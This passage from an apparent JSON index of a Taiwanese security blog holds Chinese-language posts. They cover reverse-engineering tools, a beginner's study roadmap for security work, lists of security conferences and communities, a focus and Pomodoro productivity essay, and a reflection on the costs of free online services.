書籍: Practical Malware Analysis IDA Pro Hex-Rays 公司開發的 IDA Pro 軟體，在逆向工程領域市佔率極高。類似工程製圖的 AutoCAD 或是美術設計的 PhotoShop。\nIDA Pro 的功能可針對二進制執行檔，進行靜態與動態分析。支援市面上多種 CPU 與作業系統產生的執行檔，如 EXE、DLL、ELF 執行檔等。常用於分析惡意程式與弱點挖掘，但無法分析 Office 文件、PDF 文件。\n而 IDA Pro 是付費軟體。目前 Hex-Rays 公司有 3 個版本的 IDA，IDA Free、IDA Home 與 IDA Pro。版本差異部分，可參閱 Hex-Rays 公司的說明網頁。\nIDA Pro 最讓人津津樂道的是提供 Decompiler Plug-in，可將執行檔反編譯出的組合語言，再翻譯成類似 C 語言的程式語法。然而，這樣的翻譯結果雖無法 100 % 還原，但已能讓分析人員加速理解執行檔的功能。翻譯效果，可參閱 Hex-Ray 公司的說明網頁。\n學習資源：\n書籍：The IDA Pro Book x64dbg 我認為 x64dbg 是 Windows 作業系統最好用的除錯器了。\n優點如下：\n操作介面簡單、易上手。 除錯功能豐富。 免費，且軟體原始碼公開，採用 GPL 授權。 開發團隊活躍，軟體更版頻繁。 同時支援 除錯 32 位元與 64 位元的 Windows EXE、DLL。 主功能的操作介面 (CPU) 由 5 個區域組成：反組譯區(Disassembly View)、暫存器區(Register View)、資料傾印區(Dump View)、監看區 (Watch View)與 記憶體堆疊 (Stack View)。\n先前操作過除錯程式的人員，對這個介面應不陌生。\nx64dbg 主功能操作界面\n學習資源：\n網站：x64dbg’s documentation ","permalink":"https://hack543.com/how-to-reverse-engineering/","summary":"\u003cp\u003e逆向工程 (Reverse Engineering) 是從剖析成品的過程，從中得知材料的功能規格，及如何組合。在生活中，對逆向工程技術，我們並不陌生。\u003c/p\u003e\n\u003cp\u003e比方說，你在家裡嘗試沖出跟連鎖店相同風味的咖啡。或是，自己在外地去菜市場買菜，做出有媽媽味道的料理。\u003c/p\u003e","title":"如何成為駭客 - 逆向工程 (Reverse Engineering) 篇"},{"content":"你覺得當駭客很酷，也想入門嗎？你努力半天，仍搞不清楚當一個駭客要學什麼，導致資安功力仍不見增長嗎？閱讀市面上的資安入門書籍，但還是有見樹不見林的感覺嗎？\n您好，我是Iok。從事資安工作多年，有多次指導新人的經驗，常發覺新人因基礎不扎實，而導致工作進度緩慢或努力方向錯誤。\n而其中的問題所在，是新人根本不知道做這行之前，需要什麼樣的基礎學科知識，但資安領域，其實是可以歸納入門必修與選修學科知識。\n接下來，本篇文章會完整介紹資安必選修學科知識。希望能成為資安知識地圖，讓大家一步步按圖索驥。\n除此之外，我還會無私地跟你分享，我以前學習這些學科的補充書籍與網路教材。\n學習好似蓋一棟摩天大樓，需要多日打樁，建立良好地基。看似枯燥無聊的基礎知識，卻是邁向駭客之路不可或缺的墊腳石。\n因此，雖然當駭客無法速成。這篇文章希望能幫助想進入資安領域的新手，透過必選修知識地圖，能減少走彎路的時間。\n若你有心要成為駭客，就請看到文章最後吧。\nLinux Linux 自 1991 年 Linux 之父 Linus Torvalds 開發至今，已成為世界上最受歡迎的開源伺服器作業系統。網際網路上有許多服務由 Linux 提供。\n而 Offensive Security 公司維護的 Kali Linux，是最受駭客歡迎的 Linux 版本。\n了解 Linux 的基礎，如 Command Line 指令、帳號使用者群組、檔案權限控管機制等。雖然多數Linux 版本預設提供圖形介面，但是幾乎所有的工作都能以命令列指令執行。\n而 Offensive Security 公司提供的滲透測試教育訓練課程 PEN-200 ，亦有專章講解命令列。\n進階部分，可再學習 Linux 伺服器程式安裝。例如網頁、DNS 、資料庫、主機防火牆 (iptables) 等。\n延伸閱讀：鳥哥的私房菜\nPython Python 是一種程式語言。近幾年由於機器學習與人工智慧熱潮興起，Python 程式語言搖身一變成為時下最流行的程式語言。 有許多駭客很喜歡使用 Python。\nPython 也是一種 Scripting Language，不需要編譯後再執行。結構化的程式語法，執行即所得，非常適合初學者。\n「Batteries included」的哲學，預設安裝就有許多方便程式模組套件，不需額外安裝下載。\n若無內建，在 PyPI 網站上，也可搜尋到非官方開發者釋出的套件。這些模組可視為是程式的延伸外掛，擴充 Python 原本沒有的功能。\n許多 Github 上 發佈的弱點攻擊程式 (exploit)，也大都使用 Python 撰寫。由此可知，Python 十分受到駭客歡迎，適合投資時間學習。\n延伸閱讀：Dive into Python 3\nC 語言 1972 年，貝爾實驗室 Ken Thompson 與 Dennis Ritchie 研究員為移植 Unix 作業系統到 PDP-11 主機，發明了 C 語言。\nC 語言特色具有靈活、結構化、可移植性高。其編譯器常見於各大作業系統平台，如 GCC、Vistual Studio。編譯後的程式效能好。\nC 語言也廣泛使用於軟體開發的領域中。大至超級電腦，小至洗衣機的微電腦，都能看到 C 語言程式的蹤跡。\n而 Linux 作業系統核心(kernel) 使用 C 和組合語言撰寫。美國麻省理工學院 (MIT) 的作業系統課程(Operating System Engineering) 教學用作業系統 (xv6) 亦是使用 C 與組合語言撰寫。\n而微軟 Windows NT 作業系統原始碼，亦大多由 C 與 C++ 語言撰寫 [來源]。\n由此可知，要深入了解作業系統核心，熟悉 C 語言是必備條件。\n延伸閱讀：C Primer Plus\nTCP/IP 網路通訊協定 網路是一群互連的電腦，網路通訊協定是這些電腦相互溝通的語言和方式，而最普遍使用的網路通訊協定即是 TCP/IP。\nTCP/IP 跟人體構造一樣，你每天使用，但你不一定明白箇中原理。IP 就好似電腦的門牌地址。而 IP 通訊協定是以封包為基礎的電腦間定址方法。\nTCP 是具備容錯機制的傳輸協定，常用於可靠連線傳輸。TCP/IP 則是所有依靠在TCP與IP 上通訊協定的泛稱。如 HTTP、FTP、SMTP 等應用程式通訊協定，也是其中的一部分。你熟悉的網路服務，也都是運行在TCP/IP 通訊協定之上。\n由此可知，要當一個駭客，深入了解TCP/IP 可以更明白電腦通訊方式與原理，並有助於找到協定中的弱點與問題。\n延伸閱讀：TCP/IP Illustrated Volume I\n關聯式資料庫 網站服務普遍儲存資料在關聯式資料庫。關聯式資料庫主要利用 SQL 語法進行資料的新增、修改、刪除與查詢。\n而最容易切入的低成本方式，即在電腦安裝 MySQL(開源版稱 MariaDB)或 PostgreSQL 關聯式資料庫管理軟體，練習 SQL 語法。\n比方說，建立資料庫、刪除資料庫、建立資料表、刪除資料表、新增並定義資料表欄位名稱與屬性、新增、修改、刪除與查詢資料，或是進階的 Having、Group by、Join 等 SQL 語法。\n由於 SQL Injection 是網站服務常見的弱點。學習 SQL 語法，有助於了解網頁程式與資料庫之間互動，未來若有機會碰到 SQL Injection 弱點時，也較易上手攻擊或防禦。\nOWASP Top 10 OWASP Top 10 是最具權威的網頁攻擊弱點列表前十名。每隔幾年 OWASP 協會會公告年度網頁弱點排名，目前最新排名是 2021發布的 。\n弱點排名清單代表多數網站的共通弱點。熟悉這些弱點的攻防手法可更了解如何攻擊或防禦網站，對於未來不管是擔任攻擊方(紅軍)、防守方(藍軍)的相關工作，都有幫助。\n延伸閱讀：OWASP Top 10\n駭客工具 (Hacktools) 所謂「割菜還需鐮刀，剪髮還需剃刀」，想進一步探索TCP/IP 通訊協定、網站或應用程式弱點，必須知道駭客常用的工具。\n比方說，NMAP 用於通訊埠掃描。Metasploit Framework 整合最全面的弱點 Exploit 與滲透測試工具。Burp Suite 與 Fiddler 可監聽 Web 的流量，對網站進行中間人攻擊，方便地攔截並修改網站請求訊息。\nproxychains是應用程式強制代理伺服器設定工具，針對沒有支援 Proxy 設定的應用軟體，進行強制代理。\n而 Kali Linux 已將本節提到的工具，整合到一張 Live CD ，開機就能啟用，可省下不少安裝與設定環境的麻煩，直接上手測試。\n請留意，操作上述提到的駭客工具，請用於合法測試環境，用於非法測試或入侵，會招致刑責。\n延伸閱讀：Kali Linux\n同場加映：quark-engine 知名的 Android 惡意程式評分系統 quark-engine ，就是標準的駭客思維。quark-engine 是一個開源專案 (Open Source) ，專案開發者來自台灣，設計原理是參考台灣的刑事訴訟法-第四章的犯罪行為階段論，來解析 Android APK 程式中潛藏的惡意行為。\nquark-engine 專案曾發表在 Black Hat Asia、Hack in the Box 資安研討會，並已成功整合至 Jadx、APKLab 等其他 Android 惡意程式分析工具中。\n若讀者對 quark-engine 的開發過程有興趣，可參閱其中一位專案核心開發者 JunWei Sung的部落格文章 - [Quark-Engine: Three years later。](http://Quark-Engine: Three years later。)\n延伸閱讀：quark-engine GitHub 官網\n恭喜你已經讀到最後，如果對這一系列文章有興趣，也歡迎你閱讀我另一篇文章「如何成為駭客 (資安研討會、社群與網路資源篇)」\n","permalink":"https://hack543.com/how-to-become-a-hacker-basic-learning/","summary":"\u003cp\u003e你覺得當駭客很酷，也想入門嗎？你努力半天，仍搞不清楚當一個駭客要學什麼，導致資安功力仍不見增長嗎？閱讀市面上的資安入門書籍，但還是有見樹不見林的感覺嗎？\u003c/p\u003e\n\u003cp\u003e您好，我是Iok。從事資安工作多年，有多次指導新人的經驗，常發覺新人因基礎不扎實，而導致工作進度緩慢或努力方向錯誤。\u003c/p\u003e\n\u003cp\u003e而其中的問題所在，是新人根本不知道做這行之前，需要什麼樣的基礎學科知識，但資安領域，其實是可以歸納入門必修與選修學科知識。\u003c/p\u003e\n\u003cp\u003e接下來，本篇文章會完整介紹資安必選修學科知識。希望能成為資安知識地圖，讓大家一步步按圖索驥。\u003c/p\u003e\n\u003cp\u003e除此之外，我還會無私地跟你分享，我以前學習這些學科的補充書籍與網路教材。\u003c/p\u003e\n\u003cp\u003e學習好似蓋一棟摩天大樓，需要多日打樁，建立良好地基。看似枯燥無聊的基礎知識，卻是邁向駭客之路不可或缺的墊腳石。\u003c/p\u003e\n\u003cp\u003e因此，雖然當駭客無法速成。這篇文章希望能幫助想進入資安領域的新手，透過必選修知識地圖，能減少走彎路的時間。\u003c/p\u003e\n\u003cp\u003e若你有心要成為駭客，就請看到文章最後吧。\u003c/p\u003e","title":"如何成為駭客 - 基礎學習篇 (How to become a hacker: Basic)"},{"content":"這一系列「如何成為駭客」文章，希望幫助想要進入或甫新進資安領域的網友，提供入門的敲門磚。本文「資安研討會、社群與網路資源篇」整理資安研討會、台灣資安社群與網路資源，供網友們參考。\n「駭客」是資訊安全領域，用非正規方式智取程式、存取系統或網路的高手。近年來，由於資安領域火紅，吸引許多年輕學子投入學習。\n時時更新，掌握最新資安消息脈動 透過以下管道，方便掌握網路最新的資安消息。\n瀏覽最新 reddit 資安討論區(如 /r/netsec、/r/Reverse_engineering) 熱門文章。 追蹤國外資安大神 Twitter 帳號，也常有最新的資安研究片段與八卦。閱讀大神轉發的推文也有不錯收穫。 國外資安大廠的 Twitter 帳號，常有最新的資安弱點與惡意程式研究。 加入Facebook 相關資安討論社團。 閱讀資安新聞網站，可參考iThome 資安，安全客、雷鋒網 (網絡安全)、Freebuf、Paper、DarkReading.com、BleepingComputer.com、SecurityWeek.com。整理過的新聞，方便快速吸收。 參加資安社群與同好讀書會 HITCON GIRLS AIS3 - 教育部資訊安全人才培育計畫的暑期培育課程 UCCU Hacker TDOHacker 交大網路安全策進會(BambooFox) 中山資安社 (大學社團) 逢甲黑客社 (大學社團) 輔大資訊安全研究會（NISRA) 中央CTF讀書會 (NCtfU) 台科大資訊安全研究社(大學社團、外系、外校可加入) 參與資安研討會議 親臨資安研討會，或至 Yoututbe 、研討會官網觀看議程的錄影或簡報，也可在這些研討會發表資安研究成果。\n台灣\nHITCON 台灣駭客年會 iThome 台灣資安大會 TDOH Conf CLOUDSEC 企業資安高峰論壇 DEVCORE Conference 新加坡\nBlack Hat Asia Hack In The Box Security Conference Singapore (HITBSecConf@Singapore) 日本\nCODE BLUE AVTOKYO BECKS Tokyo (Meetup 性質) 南韓\nTyphoonCon POC Conference Zer0Con CODEGATE 亞洲\nAVAR 歐洲\nHack In The Box Security Conference Amsterdam (HITBSecConf@Amsterdam) Chaos Communication Congress Black Europe R2Con Troopers Security Analyst Submit (卡巴斯基主辦) Virus Bulletin BotConf 美國\nBlackHat USA DEFCON ShellCON 網路資源、社群與資安研討會族繁不及備載。若您有建議的資源、社群與資安研討會，也歡迎在底下留言提供。\n","permalink":"https://hack543.com/how-to-become-a-hacker-conference-community/","summary":"\u003cp\u003e這一系列「如何成為駭客」文章，希望幫助想要進入或甫新進資安領域的網友，提供入門的敲門磚。本文「資安研討會、社群與網路資源篇」整理資安研討會、台灣資安社群與網路資源，供網友們參考。\u003c/p\u003e","title":"如何成為駭客 (資安研討會、社群與網路資源篇)"},{"content":"如今已邁入知識經濟時代，長時間坐在辦公室，工作性質須耗費大量腦力，才能完成工作。而專注力即是工作的競爭力。在工作中，持續一段時間高度專注力，稱為「心流狀態」 (Flow)。進入「心流狀態」時，能有效率地完成工作，不自覺地時間流逝，並且完成艱難的任務，生產力十分驚人。\n專業 x 心流時間 = 績效 知識工作者的績效\n我認為績效取決於自身專業加乘心流時間。例如你的專長是網頁程式設計，一天能專注的心流時間大約 3 小時。能專注的時間越長，同ㄧ個時間區間，就能比別人完成更多任務或解決更困難的問題。\n心流時間是我自創的名詞。即是進入「心流狀態」的時間長度。如何讓自己增加心流時間，今天就來跟各位分享。\n治療數位分心症候群，自己做自己的主人 現代人常患有「數位分心症候群」，易遭手機 APP 的推播或聊天訊息干擾，導致分心去滑手機或回訊。感染了所謂「錯失恐懼症(Fear of Missing Out)」，簡稱 FOMO。常有資訊焦慮，害怕自己錯過任何有趣的資訊。但你仔細想想，這些資訊晚點看到或沒看到，真的有關係嗎？過一段時間後，跟自己切身相關的重要資訊，你一定會知道。\n而要打敗這個心魔的方法無它，即是「找回主控權，自己做數位裝置的主人」。\n除了數位分心外，同事們之間的交談、直屬長官的案頭詢問等，也容易讓自己從「心流狀態」登出。後續再度進入「心流狀態」，又再花 15 至 20 分鐘。一整天下來，要有一整段不間斷的心流時間，簡直比登天還難。如何讓自己保持專注 ，需要時常練習，一開始可從降低干擾源做起。\n身遠離、心遠離，降低干擾源 簡單來說就是將所有可能會干擾自己持續在心流狀態的來源，通通消除。作法如下：\n收拾桌面，泡一壺熱茶或裝一瓶開水。 關閉手機所有 APP 的預設推播機制。 登出電腦聊天軟體。 關閉 Email 收信程式。 戴上耳機，播放輕音樂，音量蓋過背景噪音，有預算可選擇降噪耳機。 帶著筆電，移動到空的會議室。 若無法移動至空的會議室。事先告知同事，若有問題討論，請在你離開座位後返回時進行。 閉眼睛深呼吸 3 次，讓思緒重新開機。 蕃茄鐘工作術 干擾源降低之後，接下來要整理思緒。強迫自己專注在手上的工作至少 25 分鐘。在這期間，除了工作相關內容以外，不要分心做以下事情：\n不要打開社群媒體的網頁或APP。 不要打開 Email 收信程式。 不要打開電腦聊天軟體。 不要頻繁確認手機上是否有新的推播訊息。 經過 25 分鐘的專注時間之後，即可起來走走、舒展筋骨，上廁所。可以給自己 5 分鐘的分心時間，逛逛社群媒體或網頁。5 分鐘結束之後，再繼續下一個 25 分鐘專注時間。\n這個方法即是知名的「番茄鐘工作術」。但若先前無保持專注的習慣，頭 25 分鐘會十分煎熬、焦慮難耐。解決方法只能強迫自己忍耐，直到適應這樣的工作節奏為止。\n大目標切割成小任務 將預計完成的大目標，細分成每日的中型目標，再將每日的目標切割成幾個小任務。小任務最好能在一至三個番茄鐘周期內完成。每個小任務有具體完成的目標與預計執行的方式。若目標在預訂周期無法完成，延長即可。\n下班後，別忘記犒賞自己 別忘了，若順利完成每日目標。下班後要犒賞自己。例如，給自己買杯最愛的飲料、餐點，或讓自己看喜愛的電視節目或電影，玩電玩。讓自己下班後能放空，好好休息。恢復腦力比恢復體力重要。\n千萬別勉強自己，繼續瀏覽工作相關資訊。對自己的腦力太有信心，卻掏空自己未來的體力就得不償失了。\n結論 若說專業是外功拳法，那進入「心流狀態」就有如內功心法。鍛鍊自己容易進入「心流狀態」，有助於讓自己的專業的發揮加倍。文章中跟大家分享「降低干擾源」、「番茄工作術」、「小任務切割」與「犒賞自己」的四種具體方式，希望能幫助到讀者，讓未來的工作效率更好。\n你若有任何關於本文，想討論的問題，歡迎在底下留言。喜歡我的文章，也請閱讀下一篇「使用線上服務的代價」，謝謝。\n","permalink":"https://hack543.com/4-methods-to-harden-knowledge-workers-mentality/","summary":"\u003cp\u003e如今已邁入知識經濟時代，長時間坐在辦公室，工作性質須耗費大量腦力，才能完成工作。而專注力即是工作的競爭力。在工作中，持續一段時間高度專注力，稱為「心流狀態」 (Flow)。進入「心流狀態」時，能有效率地完成工作，不自覺地時間流逝，並且完成艱難的任務，生產力十分驚人。\u003c/p\u003e","title":"鍛鍊知識工作者內功的4個方法"},{"content":"不論你的居住地，你現在都是「數位共和國」的居民。共和國裡有社群媒體聯邦、電商網購平台聯邦、串流影音媒體聯邦，行動APP聯邦等。對了，還有一個搜索引擎聯邦等。每個聯邦都代表一群線上網路服務。\n這些線上網路服務支配著我們的習慣。透過內建的私有演算法，每個人獲得專屬於自己的內容。高度客製化但不透明，而且演算法隨時更新。\n網路服務將其演算法視為內部機密，從對外不公開。故無法得知網站服務如何掌握自己的喜好。網站服務常透過第三方廣告投放獲利，廣告內容從傳統的商品宣傳為主，至今五花八門的行銷內容。但使用者常不知出資的廣告商是誰？位於何處？背後目的為何？\n線上網路服務的經營模式也從簡單的銀貨兩訖，至今轉變為更多樣化。舉例如下：\n廣告商付費給網站，網站提供免費服務給消費者。 透過資本市場集資，提供大量補貼優惠給消費者，搶佔市占率與綁定使用者的習慣。 利用極低的邊際成本效益，將其服務推廣至全世界多個國家經營，讓其經營成本更低，服務價格更有競爭力。 規模化後，透過被併購出售獲利。 享受著高品質且低廉的線上網路服務時，但我思考著，背後付出的代價會有什麼？\n隱私揭露 「隱私」，你的喜好、年齡、所在地或瀏覽歷程，均可被縝密地保留與再利用，透過演算法再將廣告精準地投放。\n網站雖有保護消費者資料的義務，但在消費者與網站經營者權力不對等的情況下，且為常為跨國經營，常無法檢核資料保護之有效性與利用之合理性。\n選擇的多樣性降低 選擇一方，助長另一方產生質變。\n網站服務不像實體世界有規模限制，邊際成本很低。網站服務若有市場資本的支持，常是贏者全拿或是寡佔市場。最後，消費者在該領域選擇就無法多樣性。\n例如，線上叫車平台與計程車的競爭。最後，各地計程車司機為生計紛紛走上街頭抗爭。又或者消費者選擇電商網購，實體店舖生意即受到影響甚至萎縮。可觀察到百貨公司美食街樓層與店舖規劃比從前多，因為飲食體驗是無法被網購取代。\n另一則是，因消費者閱聽習慣改變，且價格考量。消費者多選擇線上書店。實體書店因應紛紛朝收費講座、精緻化或多角化體驗等方向轉型。當然，改變不是壞事，但轉型不順利的實體書店，只能苦撐，最後甚至關門倒閉。\n閱聽內容支配 雖是市場機制，讓網站服務獲得寡佔或獨佔市場。由於網站服務能決定多數人的閱聽內容，只能期許網站服務經營者是「良善的獨裁者」。所提供的內容除了商業考量外，還能綜合「道德」與「人類普世價值」。提供公允的閱聽內容，不要淪為少數人的打手。\n結論 知名自由軟體傳教士理查史托曼(Richard Stallman) 的名言，「Think free as in free speech, not free beer」。使用費用低廉或甚至免費的線上網站服務同時，也要思考其背後的代價，對於各種線上與線下服務，我認為能「自由的選擇」才是最重要的。我不喜歡，就換一個。保持開放與競爭的市場，也是對消費者最有利的市場。\n","permalink":"https://hack543.com/how-does-the-online-services-control-you-and-me/","summary":"\u003cp\u003e不論你的居住地，你現在都是「數位共和國」的居民。共和國裡有社群媒體聯邦、電商網購平台聯邦、串流影音媒體聯邦，行動APP聯邦等。對了，還有一個搜索引擎聯邦等。每個聯邦都代表一群線上網路服務。\u003c/p\u003e\n\u003cp\u003e這些線上網路服務支配著我們的習慣。透過內建的私有演算法，每個人獲得專屬於自己的內容。高度客製化但不透明，而且演算法隨時更新。\u003c/p\u003e\n\u003cp\u003e網路服務將其演算法視為內部機密，從對外不公開。故無法得知網站服務如何掌握自己的喜好。網站服務常透過第三方廣告投放獲利，廣告內容從傳統的商品宣傳為主，至今五花八門的行銷內容。但使用者常不知出資的廣告商是誰？位於何處？背後目的為何？\u003c/p\u003e\n\u003cp\u003e線上網路服務的經營模式也從簡單的銀貨兩訖，至今轉變為更多樣化。舉例如下：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e廣告商付費給網站，網站提供免費服務給消費者。\u003c/li\u003e\n\u003cli\u003e透過資本市場集資，提供大量補貼優惠給消費者，搶佔市占率與綁定使用者的習慣。\u003c/li\u003e\n\u003cli\u003e利用極低的邊際成本效益，將其服務推廣至全世界多個國家經營，讓其經營成本更低，服務價格更有競爭力。\u003c/li\u003e\n\u003cli\u003e規模化後，透過被併購出售獲利。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e享受著高品質且低廉的線上網路服務時，但我思考著，背後付出的代價會有什麼？\u003c/p\u003e","title":"線上網路服務如何支配你和我"}]